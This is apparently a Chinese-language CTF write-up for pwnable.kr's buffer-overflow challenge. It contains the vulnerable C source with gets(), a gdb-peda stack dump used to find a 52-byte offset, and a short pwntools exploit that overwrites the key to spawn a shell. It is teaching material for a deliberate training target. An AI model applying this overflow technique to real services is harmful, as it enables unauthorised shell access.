这一题与前两题不同，用到了静态调试工具ida
首先题中给出了源码：
1 #include2 #include 3 #include 4 void func(int key){ 5 char overflowme[32]; 6 printf("overflow me : "); 7 gets(overflowme); // smash me! 8 if(key == 0xcafebabe){ 9 system("/bin/sh");10 }11 else{12 printf("Nah..\n");13 }14 }15 int main(int argc, char* argv[]){16 func(0xdeadbeef);17 return 0;18 }
分析源代码：思路是缓冲区溢出
我们gdb走到func函数内部分析：
gdb-peda$ n[----------------------------------registers-----------------------------------]EAX: 0xffffd08c (":WUV\364oUV\260VUV\001")EBX: 0xf7fbd000 --> 0x1a9da8 ECX: 0xf7fd6000 ("overflow me : \n")EDX: 0xf7fbe898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0xffffd0b8 --> 0xffffd0d8 --> 0x0 ESP: 0xffffd070 --> 0xffffd08c (":WUV\364oUV\260VUV\001")EIP: 0x5655564f ( : call 0xf7e77440 )EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x56555644 : call 0xf7e77da0 0x56555649 : lea eax,[ebp-0x2c] 0x5655564c : mov DWORD PTR [esp],eax=> 0x5655564f : call 0xf7e77440 0x56555654 : cmp DWORD PTR [ebp+0x8],0xcafebabe 0x5655565b : jne 0x5655566b 0x5655565d : mov DWORD PTR [esp],0x5655579b 0x56555664 : call 0xf7e52e70 Guessed arguments:arg[0]: 0xffffd08c (":WUV\364oUV\260VUV\001")[------------------------------------stack-------------------------------------]0000| 0xffffd070 --> 0xffffd08c (":WUV\364oUV\260VUV\001")0004| 0xffffd074 --> 0x0 0008| 0xffffd078 --> 0xbf 0012| 0xffffd07c --> 0xf7ea90e6 (test eax,eax)0016| 0xffffd080 --> 0xffffffff 0020| 0xffffd084 --> 0xffffd0ae --> 0x56b06aa6 0024| 0xffffd088 --> 0xf7e1fc34 --> 0x2aad 0028| 0xffffd08c (":WUV\364oUV\260VUV\001")[------------------------------------------------------------------------------]Legend: code, data, rodata, value0x5655564f in func () 
看这一点：
也就是说0xffffd08c就是overflowme数组开始的位置
而由
得key 的地址0xffffd0c0
所以只要输入52便可成功覆盖，便可跳转执行system("\bin\sh")
于是写exp:
1 #!/usr/bin/python2 from pwn import *3 io = remote("pwnable.kr","9000")4 5 key = 0xcafebabe6 payload = "A" * 52 + p32(key)7 8 io.send(payload)9 io.interactive()
运行得到
